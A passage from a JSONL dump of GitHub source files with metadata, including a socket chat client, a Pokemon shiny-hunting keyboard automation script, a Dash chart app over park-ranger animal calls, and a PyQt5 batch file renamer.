convertPackagesFromHashToList(packages)\n s.registration.update_packages(up2dateAuth.getSystemId(), packages)\n\ndef pprint_pkglist(pkglist):\n if type(pkglist) == type([]):\n output = [\"%s-%s-%s\" % (a[0],a[1],a[2]) for a in pkglist]\n else:\n output = \"%s-%s-%s\" % (pkglist[0], pkglist[1], pkglist[2])\n return output\n\ndef convertPackagesFromHashToList(packages):\n \"\"\" takes list of hashes and covert it to list of lists\n resulting strucure is:\n [[name, version, release, epoch, arch, cookie], ... ]\n \"\"\"\n result = []\n for package in packages:\n if 'arch' in package and 'cookie' in package:\n result.append([package['name'], package['version'], package['release'],\n package['epoch'], package['arch'], package['cookie']])\n elif 'arch' in package:\n result.append([package['name'], package['version'], package['release'],\n package['epoch'], package['arch']])\n else:\n result.append([package['name'], package['version'], package['release'], package['epoch']])\n return result\n","repo_name":"spacewalkproject/spacewalk","sub_path":"client/rhel/rhn-client-tools/src/up2date_client/rhnPackageInfo.py","file_name":"rhnPackageInfo.py","file_ext":"py","file_size_in_byte":2087,"program_lang":"python","lang":"en","doc_type":"code","stars":640,"dataset":"github-code","pt":"7"} +{"seq_id":"10794646339","text":"from typing import Iterable, Tuple\n\nfrom data_sets.images_labels_data_set import ImagesLabelsDataSet, normalize\n\nimport numpy\n\nimport unittest\n\n__author__ = 'Lene Preuss '\n# pylint: disable=missing-docstring\n\nNUM_TRAINING_SAMPLES = 20\nIMAGE_WIDTH = 12\nIMAGE_HEIGHT = 10\nBATCH_SIZE = 5\n\n\nclass ImagesLabelsDataSetTest(unittest.TestCase):\n\n def test_init_without_fake_data_runs(self) -> None:\n _create_empty_data_set()\n\n def test_init_length(self) -> None:\n images = create_empty_image_data()\n labels = create_empty_label_data()\n data = ImagesLabelsDataSet(images, labels)\n self.assertEquals(NUM_TRAINING_SAMPLES, len(data))\n\n def test_init_with_different_label_size_fails(self) -> None:\n images = create_empty_image_data()\n labels = create_empty_label_data_of_size(NUM_TRAINING_SAMPLES + 1)\n with self.assertRaises(AssertionError):\n ImagesLabelsDataSet(images, labels)\n\n def test_next_batch_returns_correct_data_format(self) -> None:\n data_set = _create_empty_data_set()\n images, labels = data_set.next_batch(BATCH_SIZE)\n self.assertIsInstance(images, numpy.ndarray)\n self.assertEqual(4, len(images.shape))\n self.assertEqual(BATCH_SIZE, images.shape[0])\n self.assertEqual(IMAGE_WIDTH, images.shape[1])\n self.assertEqual(IMAGE_HEIGHT, images.shape[2])\n self.assertEqual(1, images.shape[3])\n self.assertIsInstance(labels, numpy.ndarray)\n self.assertEqual(1, len(labels.shape))\n self.assertEqual(BATCH_SIZE, labels.shape[0])\n\n def test_next_batch_runs_repeatedly(self) -> None:\n data_set = _create_empty_data_set()\n batch_size = NUM_TRAINING_SAMPLES // 2\n _, _ = data_set.next_batch(batch_size)\n _, _ = data_set.next_batch(batch_size)\n\n def test_normalize_dtype(self) -> None:\n data = create_empty_image_data()\n normalized = normalize(data)\n self.assertEqual(normalized.dtype, numpy.float32)\n\n def test_normalize_range(self) -> None:\n data = create_random_image_data(0, 255)\n normalized = normalize(data)\n self.assertLessEqual(normalized.max(), 1.)\n self.assertGreaterEqual(normalized.min(), 0.)\n\n\ndef _create_empty_data_set() -> ImagesLabelsDataSet:\n images = create_empty_image_data()\n labels = create_empty_label_data()\n return ImagesLabelsDataSet(images, labels)\n\n\ndef create_empty_image_data() -> numpy.ndarray:\n return image_data_from_list([0] * NUM_TRAINING_SAMPLES * IMAGE_WIDTH * IMAGE_HEIGHT)\n\n\ndef create_random_image_data(min_val: int, max_val: int) -> numpy.ndarray:\n from random import randrange\n return image_data_from_list(\n [randrange(min_val, max_val + 1) for _ in range(NUM_TRAINING_SAMPLES * IMAGE_WIDTH * IMAGE_HEIGHT)]\n )\n\n\ndef image_data_from_list(buffer: Iterable) -> numpy.ndarray:\n data = numpy.fromiter(buffer, dtype=numpy.uint8)\n return data.reshape(NUM_TRAINING_SAMPLES, IMAGE_WIDTH, IMAGE_HEIGHT, 1)\n\n\ndef create_empty_label_data() -> numpy.ndarray:\n return create_empty_label_data_of_size(NUM_TRAINING_SAMPLES)\n\n\ndef create_empty_label_data_of_size(size: int) -> numpy.ndarray:\n return numpy.fromiter([0] * size, dtype=numpy.uint8)\n","repo_name":"lene/style-scout","sub_path":"tests/images_labels_data_set_test.py","file_name":"images_labels_data_set_test.py","file_ext":"py","file_size_in_byte":3264,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"32780799219","text":"# import socket\n# #\n# # sk = socket.socket() # 买手机\n# # sk.connect((\"127.0.0.1\", 8898)) # 拨号\n# #\n# # sk.send(b\"hello word\")\n# # ret = sk.recv(1024) # 听别人说话\n# # print(ret) # 和别人说话, 必须传一个bytes类型\n# # sk.send(bytes(\"中午吃什么?\",encoding=(\"utf-8\")))\n# # ret = sk.recv(1024)\n# # print(ret.decode(\"utf-8\"))\n# # sk.close()\n\n\nimport socket\n\nsk = socket.socket()\nsk.connect((\"127.0.0.1\", 8109))\nwhile True:\n info = input(\">>>\")\n sk.send(bytes(info, encoding=\"utf-8\"))\n ret = sk.recv(1024).decode(\"utf-8\")\n print(ret)\n if ret == \"bye\":\n sk.send(b\"bye!bye!\")\n break\n# sk.send(b\"hello wold\")\n# ret = sk.recv(1024)\n# print(ret)\nsk.close()\n","repo_name":"PangZhiww/oldboys14_ch","sub_path":"day30(女神_网络编程)/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":707,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"10124857856","text":"import math\nimport random\nimport pandas as pd\nimport csv\nfrom models.Point import Point\nfrom models.HotSpot import HotSpot\n\n#CDF cumulative distribution function ( number > 0)\ndef reverseCDF (number):\n return math.pow(math.log(1 - number), 2)\n\n\ndef generateHotspotPoint(centerLat, centerLong, filename):\n \n numberOfPoints = 10\n centerLat = centerLat * math.pi / 180.0\n centerLong = centerLong * math.pi / 180.0\n earthR = 6371000\n points = list()\n\n for i in range(numberOfPoints):\n functionArgument = 1.0 / (numberOfPoints + 1) * (i + 1)\n angleRandom = (random.random() * 2 - 1.0) * 2 * math.pi\n randomDistance = reverseCDF(functionArgument) * 1000\n latitude = math.asin((math.sin(centerLat) * math.cos(randomDistance / earthR)) + (math.cos(centerLat) * math.sin(randomDistance / earthR)*math.cos(angleRandom))) * 180 / math.pi\n longitude = (centerLong + math.atan2(math.sin(angleRandom) * math.sin(randomDistance / earthR) * math.cos(centerLat),math.cos(randomDistance / earthR) - (math.sin(centerLat) * math.sin(latitude)))) * 180 / math.pi\n points.append(Point(latitude,longitude))\n \n\n\n with open(filename, mode='w') as hotspot_file:\n hotspot_writer = csv.writer(hotspot_file, delimiter=';', quotechar='\"', quoting=csv.QUOTE_MINIMAL)\n hotspot_writer.writerow(['Cafeteria','Place for rest between lectures',str(points[0].x),str(points[0].y),'indoor'])\n hotspot_writer.writerow(['Main Library','The biggest library on TUL',str(points[1].x),str(points[1].y),'indoor'])\n hotspot_writer.writerow(['Park','Good place for rest brain before exams',str(points[2].x),str(points[2].y),'outdoor'])\n hotspot_writer.writerow(['Finestra Pub','Pizzeria which is a good friend of the TUL',str(points[3].x),str(points[3].y),'indoor'])\n hotspot_writer.writerow(['Statue before BAIS Faculty','Statue presenting hand',str(points[4].x),str(points[4].y),'outdoor'])\n hotspot_writer.writerow(['Bridge','Bridge between BAIS and CTI buildings',str(points[5].x),str(points[5].y),'outdoor'])\n hotspot_writer.writerow(['Chinese Bar','Place with cheap dinners',str(points[6].x),str(points[6].y),'indoor'])\n hotspot_writer.writerow(['Information Technology Center','Place where most od TUL servers are hosted',str(points[7].x),str(points[7].y),'indoor'])\n hotspot_writer.writerow(['Deans office','Place where students are submitting various applications',str(points[8].x),str(points[8].y),'indoor'])\n hotspot_writer.writerow(['Sports bay','Place where most sport activities have place',str(points[9].x),str(points[9].y),'indoor'])\n\n\ndef return_list_of_hot_spots(file):\n list_of_hot_spots = []\n df = pd.read_csv(file, delimiter=',', header=None)\n\n for index, row in df.iterrows():\n list_of_hot_spots.append(HotSpot(index+1, row[0], row[1], row[2], row[3], row[4]))\n index = index + 1\n return list_of_hot_spots\n\n# generateHotspotPoint(51.74732490481434, 19.453798422308278, 'hotspot.csv')\n\n\n\n\n","repo_name":"gnerga/competence_project","sub_path":"data_generator/generate_hotspot.py","file_name":"generate_hotspot.py","file_ext":"py","file_size_in_byte":3075,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"36037579432","text":"import time\r\nimport sys\r\n\r\nimport numpy as np\r\n\r\nimport pynput\r\n\r\nimport mss\r\nimport mss.tools\r\n\r\nfrom pynput.mouse import Button, Controller\r\nfrom pynput import keyboard\r\n\r\nfrom PIL import Image\r\n\r\nmouse = pynput.mouse.Controller()\r\n\r\ndef select_pokemon(speed):\r\n time.sleep(.5)\r\n keyboard.Controller().press(keyboard.Key.enter)\r\n time.sleep(.3)\r\n keyboard.Controller().release(keyboard.Key.enter)\r\n\r\n time.sleep(2/speed)\r\n keyboard.Controller().press(keyboard.Key.enter)\r\n time.sleep(.3)\r\n keyboard.Controller().release(keyboard.Key.enter)\r\n\r\n time.sleep(1/speed)\r\n keyboard.Controller().press(keyboard.Key.enter)\r\n time.sleep(.3)\r\n keyboard.Controller().release(keyboard.Key.enter)\r\n\r\n time.sleep(.5)\r\n keyboard.Controller().press(keyboard.Key.enter)\r\n time.sleep(.3)\r\n keyboard.Controller().release(keyboard.Key.enter)\r\n\r\n time.sleep(.5)\r\n keyboard.Controller().press(keyboard.Key.enter)\r\n time.sleep(.3)\r\n keyboard.Controller().release(keyboard.Key.enter)\r\n\r\n time.sleep(1/speed)\r\n keyboard.Controller().press(keyboard.Key.enter)\r\n time.sleep(.3)\r\n keyboard.Controller().release(keyboard.Key.enter)\r\n\r\n time.sleep(1/speed)\r\n keyboard.Controller().press(keyboard.Key.enter)\r\n time.sleep(.3)\r\n keyboard.Controller().release(keyboard.Key.enter)\r\n\r\n time.sleep(1/speed)\r\n keyboard.Controller().press(keyboard.Key.esc)\r\n time.sleep(.3)\r\n keyboard.Controller().release(keyboard.Key.esc)\r\n\r\ndef skip_through_startup():\r\n time.sleep(2)\r\n keyboard.Controller().press(keyboard.Key.enter)\r\n time.sleep(.3)\r\n keyboard.Controller().release(keyboard.Key.enter)\r\n\r\n time.sleep(1)\r\n keyboard.Controller().press(keyboard.Key.enter)\r\n time.sleep(.3)\r\n keyboard.Controller().release(keyboard.Key.enter)\r\n\r\n time.sleep(1)\r\n keyboard.Controller().press(keyboard.Key.enter)\r\n time.sleep(.3)\r\n keyboard.Controller().release(keyboard.Key.enter)\r\n\r\n time.sleep(1)\r\n keyboard.Controller().press(keyboard.Key.enter)\r\n time.sleep(.3)\r\n keyboard.Controller().release(keyboard.Key.enter)\r\n\r\n time.sleep(.5)\r\n\r\ndef screen_shot(debug, fname):\r\n with mss.mss() as sct:\r\n #The region to capture\r\n monitor = {\"top\": 170, \"left\": 170, \"width\": 160, \"height\": 135}\r\n output = fname + \".png\"\r\n\r\n #Screen shot\r\n sct_img = sct.grab(monitor)\r\n\r\n if debug == True:\r\n #Save the picture to a file\r\n mss.tools.to_png(sct_img.rgb, sct_img.size, output=output)\r\n\r\n img = Image.frombytes('RGB', sct_img.size, sct_img.rgb)\r\n img_arr = np.array(img)\r\n return img_arr\r\n\r\n\r\ndef setup(debug, speed):\r\n print(\"Setting up.\")\r\n #Move mouse to game window and select window so it reads the keyboard\r\n mouse.position=(50,50)\r\n time.sleep(.2)\r\n mouse.press(Button.left)\r\n time.sleep(.2)\r\n mouse.release(Button.left)\r\n\r\n #select the pokemon \r\n select_pokemon(speed)\r\n\r\n #Get screen shots for later comparison\r\n #We need multiple screen shots because of small variants in the timings\r\n # means the sometimes the pokemon sprite is in a different animation\r\n # state. If the initial image does not match the new one\r\n # taken when the find_shiny loop is running, it will stop the loop\r\n # in case there is a shiny pokemon.\r\n initial_img_arrs = list()\r\n for i in range(0, 20):\r\n initial_img_arrs.append(screen_shot(debug, \"initial\" + str(i)))\r\n\r\n #Restart the game\r\n time.sleep(1)\r\n keyboard.Controller().press(keyboard.Key.f12)\r\n time.sleep(.3)\r\n keyboard.Controller().release(keyboard.Key.f12)\r\n\r\n return initial_img_arrs\r\n\r\ndef find_shiny(initial_img_arrs, debug, speed):\r\n shiny_found = False\r\n count = 0\r\n\r\n while shiny_found == False:\r\n skip_through_startup()\r\n print(\"Started Game.\")\r\n\r\n select_pokemon(speed)\r\n print(\"Selected Pokemon.\")\r\n\r\n count += 1\r\n\r\n img_arr = screen_shot(debug, \"check_shiny\")\r\n\r\n print('Comparing to original to see if pokemon is shiny.')\r\n #Loop through the initial img set and see if any of them match the current screen shot\r\n #If there is a match found, then there is no shiny\r\n img_found = False\r\n for i in initial_img_arrs:\r\n if np.array_equal(i, img_arr, False):\r\n img_found = True\r\n\r\n print(f\"Checked {count} pokemon so far.\")\r\n \r\n #No matching image found, then there might be a shiny.\r\n if img_found == False:\r\n print(\"Possible shiny found, stoping script.\")\r\n shiny_found = True\r\n else:\r\n #Restart the game\r\n time.sleep(.5)\r\n keyboard.Controller().press(keyboard.Key.f12)\r\n time.sleep(.3)\r\n keyboard.Controller().release(keyboard.Key.f12)\r\n\r\nif __name__ == \"__main__\":\r\n debug = False\r\n speed = 5\r\n \r\n if len(sys.argv) > 1:\r\n if sys.argv[1] == \"debug\":\r\n debug = True\r\n print(\"Running in debug mode...\")\r\n \r\n initial_img_arrs = setup(debug, speed)\r\n find_shiny(initial_img_arrs, debug, speed)\r\n","repo_name":"adamHamland/pokemon_insurgence_autogui","sub_path":"shiny_starter_finder.py","file_name":"shiny_starter_finder.py","file_ext":"py","file_size_in_byte":5164,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"33159015763","text":"import dash\nfrom dash import html, dcc\nfrom dash.dcc.Graph import Graph\nfrom dash.dependencies import Input, Output\nfrom dash.html.Div import Div\nimport pandas as pd\nimport plotly.express as px\n\ndf = pd.read_csv(\"data/Urban_Park_Ranger_Animal_Condition_Response.csv\")\n# Drop rows w/ no animals found or calls w/ varied age groups\ndf = df[(df['# of Animals'] > 0) & (df['Age'] != 'Multiple')]\n\n# Extract month from time call made to Ranger\ndf['Month of Initial Call'] = pd.to_datetime(\n df['Date and Time of initial call'])\ndf['Month of Initial Call'] = df['Month of Initial Call'].dt.strftime('%m')\n\n# Copy columns to new columns with clearer names\ndf['Amount of Animals'] = df['# of Animals']\ndf['Time Spent on Site (hours)'] = df['Duration of Response']\n\n\napp = dash.Dash(__name__)\napp.layout = html.Div([\n html.Div([\n html.H4(\"X-axis categories to compare:\"),\n dcc.RadioItems(\n id= \"x-axis\",\n options=[\n {'label': 'Month Call Made', 'value': \"Month of Initial Call\"},\n {'label': 'Animal Health', 'value': \"Animal Condition\"},\n ],\n value=\"Month of Initial Call\",\n labelStyle={'display': 'inline-block'}\n )\n ]),\n html.Div([\n html.H4(\"Y-axis values to compare:\"),\n dcc.RadioItems(\n id= \"y-axis\",\n options=[\n {'label': 'Time Spent on Site (hours)', 'value': 'Time Spent on Site (hours)'},\n {'label': 'Amount of Animals', 'value': \"Amount of Animals\"},\n ],\n value='Time Spent on Site (hours)',\n labelStyle={'display': 'inline-block'}\n )\n ]),\n dcc.Graph(id=\"output\")\n])\n\n@app.callback(Output(\"output\", \"figure\"), [Input(\"x-axis\", \"value\"), Input(\"y-axis\", \"value\")])\ndef update_graph(x, y):\n return px.bar(data_frame=df, x= x, y= y, title= f\"{x}: by {y}\")\n\n\nif __name__ == \"__main__\":\n app.run_server(debug=True)\n","repo_name":"nguyenduchuy271197/plotly-dash-pratices","sub_path":"02-bar-graph/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1946,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"36271450818","text":"# -*- coding:utf-8 -*-\n# Author:余时锐\n# Date: 2016-08-21\n# Message:余时锐文件重命名v3.0\n\n\nimport os\n\nimport sys\n\n# 导入正则\nimport re\n\n# 字符转换\nfrom urllib.parse import unquote\n\nfrom PyQt5.QtWidgets import *\nfrom PyQt5.QtCore import *\nfrom PyQt5.QtGui import *\n\n# 导入ui文件\nfrom Ui_main import Ui_MainWindow\n\n# 图片\nimport image_rc\n\n# 暗黑主题\nimport qdarkstyle\n\n\n# 文件路径名字后缀分离\ndef fileFenli(file_path):\n # 文件路径,文件名分离\n filepath, tempfilename = os.path.split(file_path)\n # print(filepath, tempfilename)\n # D:/test test.py\n\n # 文件名,扩展名分离\n filename, extension = os.path.splitext(tempfilename)\n # print(filename, extension)\n # test .py\n\n return {'路径': filepath, '文件名': tempfilename, '后缀': extension}\n\n\n# 重命名\nclass ReName(QMainWindow, Ui_MainWindow):\n # 构造函数\n def __init__(self, parent=None):\n # 调用父类构造函数\n super(QMainWindow, self).__init__(parent)\n self.setupUi(self)\n\n # 经典暗黑主题\n qApp.setStyleSheet(qdarkstyle.load_stylesheet_pyqt5())\n\n # 窗口置顶\n self.setWindowFlags(Qt.WindowStaysOnTopHint)\n\n # 图标,QIcon作为参数(相对/绝对路径)\n self.setWindowIcon(QIcon(':/yu/yu.ico'))\n\n # 标题\n self.setWindowTitle('余时锐文件重命名v4.0')\n\n # 大小\n self.resize(600, 800)\n\n # 位置\n self.move(0, 0)\n\n # 表格0行\n self.tableWidget.setRowCount(0)\n\n # 表格3列\n self.tableWidget.setColumnCount(3)\n\n # 水平列名([列表])\n self.tableWidget.setHorizontalHeaderLabels(['原文件名', '新文件名', '状态'])\n\n # 表头自适应伸缩\n self.tableWidget.horizontalHeader().setSectionResizeMode(QHeaderView.Stretch)\n\n # 自动调整列宽\n self.tableWidget.resizeColumnsToContents()\n\n # 调用Drops方法\n self.setAcceptDrops(True)\n\n # 文件路径空列表\n self.old_file_xpath_list = []\n self.new_file_xpath_list = []\n # 文件名空列表\n self.old_file_name_list = []\n self.new_file_name_list = []\n # 文件后缀空列表\n self.old_file_houzhui_list = []\n self.new_file_houzhui_list = []\n\n # 清空槽函数\n self.btn_qingkong.clicked.connect(self.qingkong)\n\n # 预览槽函数\n self.btn_rename.clicked.connect(lambda: self.yulan(self.btn_rename))\n self.btn_tihuan.clicked.connect(lambda: self.yulan(self.btn_tihuan))\n self.btn_charu.clicked.connect(lambda: self.yulan(self.btn_charu))\n self.btn_daxiaoxie.clicked.connect(lambda: self.yulan(self.btn_daxiaoxie))\n self.btn_kuozhanming.clicked.connect(lambda: self.yulan(self.btn_kuozhanming))\n self.btn_baoliuzhongwen.clicked.connect(lambda: self.yulan(self.btn_baoliuzhongwen))\n\n # 执行槽函数\n self.btn_zhixing.clicked.connect(self.zhixing)\n\n # 执行槽函数,文件重命名\n def zhixing(self):\n\n # 表格总行数\n rowCount = self.tableWidget.rowCount()\n # 表格总行数 > 0\n if rowCount > 0:\n # 循环变量\n i = 0\n # 循环变量 < 表格总行数\n while i < rowCount:\n # 获取单元格的值\n old_file_name = self.tableWidget.item(i, 0).text()\n\n # 获取单元格的值\n new_file_name = self.tableWidget.item(i, 1).text()\n\n # 旧文件路径\n old_all_xpath = os.path.join(self.old_file_xpath_list[i], old_file_name)\n # print(old_all_xpath)\n # H:/图片/余时锐表情2019\\\\%7B0S$PI0MG$N998)HTSC$I(M.jpg\n # H:\\图片\\余时锐表情2019\\{0S$PI0MG$N998)HTSC$I(M.jpg\n\n # 新文件路径\n new_all_xpath = os.path.join(self.old_file_xpath_list[i], new_file_name)\n # print(old_all_xpath)\n\n try:\n # 重命名\n os.rename(old_all_xpath, new_all_xpath)\n # 成功\n # 单元格对象(文件名)\n newItem = QTableWidgetItem('成功')\n\n # 表格新增行,加入单元格(行从0开始),命名成功\n self.tableWidget.setItem(i, 2, newItem)\n\n # 单元格回填\n # 单元格对象(文件名)\n newItem = QTableWidgetItem(new_file_name)\n # 表格新增行,加入单元格(行从0开始),命名成功\n self.tableWidget.setItem(i, 0, newItem)\n\n except:\n # 失败\n # 单元格对象(文件名)\n newItem = QTableWidgetItem('失败')\n\n # 表格新增行,加入单元格(行从0开始),命名成功\n self.tableWidget.setItem(i, 2, newItem)\n\n # 循环变量+1\n i += 1\n\n # 清空槽函数\n def qingkong(self):\n # 删除1行\n # self.tableWidget.removeRow(0)\n # 删除所有行\n self.tableWidget.setRowCount(0)\n\n # 文件路径空列表\n self.old_file_xpath_list = []\n self.new_file_xpath_list = []\n # 文件名空列表\n self.old_file_name_list = []\n self.new_file_name_list = []\n # 文件后缀空列表\n self.old_file_houzhui_list = []\n self.new_file_houzhui_list = []\n\n # 预览槽函数\n def yulan(self, btn):\n # 表格总行数\n rowCount = self.tableWidget.rowCount()\n # 表格总行数 > 0\n if rowCount > 0:\n # 循环变量\n i = 0\n # 循环变量 < 表格总行数\n while i < rowCount:\n\n # 获取单元格的值\n # 如果预览列有值,用预览列的值\n if self.tableWidget.item(i, 1):\n item_text = self.tableWidget.item(i, 1).text()\n # 预览列无值,用原始值\n else:\n # 单元格内容,文件名+扩展名,第n行第1列\n item_text = self.tableWidget.item(i, 0).text()\n\n # 文件名与扩展名分离\n new_filename, new_kuozhanname = os.path.splitext(item_text)\n\n # 修改文件名\n # print(self.old_file_xpath_list)\n # print(self.old_file_name_list)\n # print(self.old_file_houzhui_list)\n\n if btn.text() == '重命名':\n # 新主文件名\n le_new_name = self.le_new_name.text()\n # 开始文件编号\n sb_start = self.sb_start.value()\n # 文件增加步长\n sb_step = self.sb_step.value()\n # 文件号码位数\n sb_weishu = self.sb_weishu.value()\n # 增加位数勾选\n if self.cb_add.isChecked():\n new_filename = le_new_name + str(sb_start + sb_step * i).zfill(sb_weishu)\n else:\n new_filename = le_new_name\n\n if btn.text() == '替换':\n # 查找的\n le_chazhao = self.le_chazhao.text()\n # 替换的\n le_tihuan = self.le_tihuan.text()\n # 替换文件名\n new_filename = new_filename.replace(le_chazhao, le_tihuan)\n\n if btn.text() == '插入':\n # 新主文件名\n le_new_name = self.le_new_name.text()\n # 开始文件编号\n sb_start = self.sb_start.value()\n # 文件增加步长\n sb_step = self.sb_step.value()\n # 文件号码位数\n sb_weishu = self.sb_weishu.value()\n\n # 插入位置\n index = self.sb_charuweizhi.value()\n # 文件名分割\n # 文件名第一部分\n new_filename_1 = new_filename[:index]\n # 文件名第二部分\n # 增加位数勾选\n if self.cb_add.isChecked():\n new_filename_2 = self.le_charuneirong.text() + str(sb_start + sb_step * i).zfill(sb_weishu)\n else:\n new_filename_2 = self.le_charuneirong.text()\n # 文件名第三部分\n new_filename_3 = new_filename[index:]\n # 文件名全部\n new_filename = new_filename_1 + new_filename_2 + new_filename_3\n\n if btn.text() == '大小写':\n if self.cb_kaitou_s.isChecked():\n new_filename = new_filename[0].lower() + new_filename[1:]\n if self.cb_kaitou_b.isChecked():\n new_filename = new_filename.title()\n if self.cb_all_s.isChecked():\n new_filename = new_filename.lower()\n if self.cb_all_b.isChecked():\n new_filename = new_filename.upper()\n\n if btn.text() == '扩展名':\n # 查找的\n le_old_kuozhanname = self.le_old_kuozhanname.text()\n # 替换的\n le_new_kuozhanname = self.le_new_kuozhanname.text()\n # 替换扩展名\n new_kuozhanname = new_kuozhanname.replace(le_old_kuozhanname, le_new_kuozhanname)\n\n if btn.text() == '保留中文':\n # 保留中文\n pattern = re.compile(r'[^\\u4e00-\\u9fa5]')\n new_filename = re.sub(pattern, '', new_filename)\n\n # 单元格对象(文件名+扩展名)\n newItem = QTableWidgetItem(new_filename + new_kuozhanname)\n\n # 表格加入单元格(行从0开始),第n行第二列\n self.tableWidget.setItem(i, 1, newItem)\n\n # 循环变量++\n i += 1\n\n # 鼠标拖入\n def dragEnterEvent(self, file):\n # self.setWindowTitle('鼠标拖入')\n\n # 鼠标放开接受\n file.accept()\n\n # 文件名,去除最后一个字符(换行符)\n file_name = file.mimeData().text()\n # file:///C:/Users/Administrator/Desktop/安卓启动时间v2.exe file:///C:/Users/Administrator/Desktop/随机字符串v8.exe\n # $H%60XM%259EZS$~%25D%7DCWLVVGUY.jpg\n # $H`XM%9EZS$~%D}CWLVVGUY.jpg\n\n # 字符转换\n file_name = unquote(file_name, 'utf-8')\n # print(file_name)\n\n # 文件名,通过空格,切分成列表\n file_list = file_name.split('\\n')\n # print(file_list)\n # ['file:///C:/Users/Administrator/Desktop/自动化工具箱.lnk',\n # 'file:///C:/Users/Administrator/Desktop/安卓启动时间v2.exe']\n\n # 遍历列表\n for i in file_list:\n # 如果列表内容有值\n if len(i) > 0:\n # 文件路径空列表\n self.old_file_xpath_list.append(fileFenli(i)['路径'].replace(r'file:///', ''))\n\n # 文件名空列表\n self.old_file_name_list.append(fileFenli(i)['文件名'].replace(r'file:///', ''))\n\n # 文件后缀空列表\n self.old_file_houzhui_list.append(fileFenli(i)['后缀'])\n\n # print(self.old_file_xpath_list)\n # print(self.old_file_name_list)\n # print(self.old_file_houzhui_list)\n\n # 获取表格行数\n row_num = self.tableWidget.rowCount()\n\n # 表格增加行(总行数+1)\n self.tableWidget.setRowCount(row_num + 1)\n\n # 单元格对象(文件名)\n newItem = QTableWidgetItem(fileFenli(i)['文件名'])\n\n # 表格新增行,加入单元格(行从0开始)\n self.tableWidget.setItem(row_num, 0, newItem)\n\n # 鼠标放开\n def dropEvent(self, file):\n # self.setWindowTitle('鼠标放开')\n pass\n\n # 鼠标移入\n def dragMoveEvent(self, file):\n # self.setWindowTitle('鼠标移入')\n pass\n\n\n# pyinstaller -F -w -i yu.ico main.py\nif __name__ == \"__main__\":\n app = QApplication(sys.argv)\n rename = ReName()\n rename.show()\n sys.exit(app.exec_())\n","repo_name":"yushirui/yushirui_file_rename","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":12709,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"16165960272","text":"from Floors import Floor\nfrom Commands import Commands\nfrom Inventory import Inventory\nfrom Rooms import Room\nfrom Items import Items\nfrom Basement import Basement\nfrom Menu import Menu\nfrom Player import Player\nfrom StorageRoom import StorageRoom\nfrom RestingRoom import RestingRoom\nfrom KidsRoom import KidsRoom\nfrom Hallway import Hallway\nfrom Closet import Closet\nfrom FinalRoom import FinalRoom\nfrom Ceiling import Ceiling\nfrom Parser import Parser\nfrom Map import Map\nfrom sys import exit\n\n\n\n\np = Player('Vladimir')\nMenu.action()\n\nbasement = Basement('Basement')\nstorageRoom =StorageRoom('Storageroom')\nrestingRoom =RestingRoom('Restingroom',)\nkidsRoom = KidsRoom('Kidsroom')\nhallway = Hallway('Hallway')\ncloset = Closet('Closet')\nfinalRoom = FinalRoom('Finalroom')\nceiling = Ceiling('Ceiling')\n\n\nbasement.add_items()\nstorageRoom.add_items()\nrestingRoom.add_items()\nkidsRoom.add_items()\nhallway.add_items()\nfinalRoom.add_items()\nceiling.add_items()\n\ncurrentRoom = basement\ncurrentRoom.show_info()\n\n\nfloor_0 = Floor(basement)\nfloor_1 = Floor(storageRoom,restingRoom,kidsRoom)\nfloor_2 = Floor(hallway,closet,finalRoom)\nfloor_3 = Floor(ceiling)\n\nfloor_0.info = 'This is the first and lowest level of the house in other words here the basement. To go to the basement use the GO command!'\nfloor_0.info+=' There are no other rooms on this level. To move up to the next floor you should open the current floors all doors.Good luck!'\nfloor_1.info = 'This is the second level There are three rooms here: Storageroom, Restingroom, Kidsroom. To move freely in all of them you must passed their chalenges and open the doors!'\nfloor_2.info = 'This is the third level of the house. The rooms on this level are: Hallway, Closet, Finalroom. This level link directly to level four which is the final one!'\nfloor_3.info = 'This is the final level and the only room here is the ceiling. It is the highest point of the house, here is your chance to leave the house live a free happy life! There are no other rooms on this level'\n\n\nfloors= [floor_0,floor_1,floor_2,floor_3]\n\niterator = 0\n\ncommand = input()\nwhile True:\n parsed_command = Parser.parse(command)\n tokens = parsed_command.split(' ')\n\n if tokens[0] == 'go':\n\n if tokens[1] =='up':\n\n if floors[iterator].all_passed_floor():\n if(iterator>=3):\n print('You are already at the highest level of the house')\n iterator =3\n\n else:\n print(\"Moving up...\")\n iterator+=1\n floors[iterator].show_info()\n currentRoom=''\n\n elif tokens[1] =='down':\n\n if(iterator<=0):\n iterator = 0\n print('You are already at the lowest level of the house')\n\n else:\n print('Moving down...')\n iterator-=1\n currentRoom =''\n floors[iterator].show_info()\n\n\n if floors[iterator].check_if_room_exists(tokens[1]): \n currentRoom = floors[iterator].return_current_room(tokens[1])\n currentRoom.show_info()\n\n\n elif tokens[0] == 'drop':\n item_to_drob = tokens[1]\n p.drop_item(item_to_drob)\n\n\n elif tokens[0] == 'grab':\n if(len(Player.inventory.collection_of_items) -1 and ct > -1 and ch > -1:\n break\n message = \"c_eto: {} c_tmp: {} c_hum: {}\".format(ce, ct, ch)\n water_flag = True\n\n\n lcd.setCursor(0, 0)\n lcd.message(\"tmp:{} hum:{}\".format(temp, humidity))\n lcd.setCursor(0,1)\n print(ce, ct, ch)\n lcd.message(message)\n message = message[1:] + message[0]\n \n if (time_diff) % 86400 == 86399:\n init_time = time()\n\n \n print(\"time diff\",time_diff)\n sleep(0.0625) \n \n\n\n\ndef destroy():\n pass\n\nif __name__ == '__main__':\n setup()\n try:\n run()\n except KeyboardInterrupt:\n destroy()\n","repo_name":"aakif-h/Lawn-Monitoring-System","sub_path":"src/safety_main.py","file_name":"safety_main.py","file_ext":"py","file_size_in_byte":3073,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"35690437713","text":"import pyglet\nfrom pyglet.gl import *\n\nclass Object():\n \"\"\"A privitive class for 